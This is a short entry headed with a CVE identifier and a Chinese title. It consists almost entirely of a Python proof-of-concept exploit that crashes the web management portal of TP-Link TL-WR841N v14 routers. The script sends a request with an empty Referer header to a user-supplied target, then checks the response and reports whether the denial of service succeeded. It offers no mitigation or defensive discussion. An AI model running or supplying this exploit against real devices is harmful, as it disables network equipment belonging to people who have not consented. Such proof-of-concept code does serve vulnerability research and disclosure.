CVE-2025-9014 TP-Link TL-WR841N v14 Web Portal空指针解引用拒绝服务漏洞

import requests import sys def exploit_cve_2025_9014(target_url): """ CVE-2025-9014 PoC - TP-Link TL-WR841N v14 Referer Header Null Pointer Dereference This PoC demonstrates the null pointer dereference vulnerability in the referer header check of TP-Link TL-WR841N v14 web portal. Usage: python poc.py http://target_ip:port """ headers = { 'Referer': '', # Empty referer triggers the vulnerability 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending exploit request to {target_url}") print(f"[*] Referer Header: (empty)") response = requests.get(target_url, headers=headers, timeout=5) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") # Verify if web portal is still responsive check_response = requests.get(target_url, timeout=5) if check_response.status_code == 200: print("[-] Web portal still responsive, vulnerability may not be triggered") else: print("[+] Web portal appears to be down - DoS successful") except requests.exceptions.Timeout: print("[+] Web portal timeout - DoS likely successful") except requests.exceptions.ConnectionError: print("[+] Web portal unreachable - DoS successful") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python poc.py http://target_ip:port") sys.exit(1) target = sys.argv[1] exploit_cve_2025_9014(target)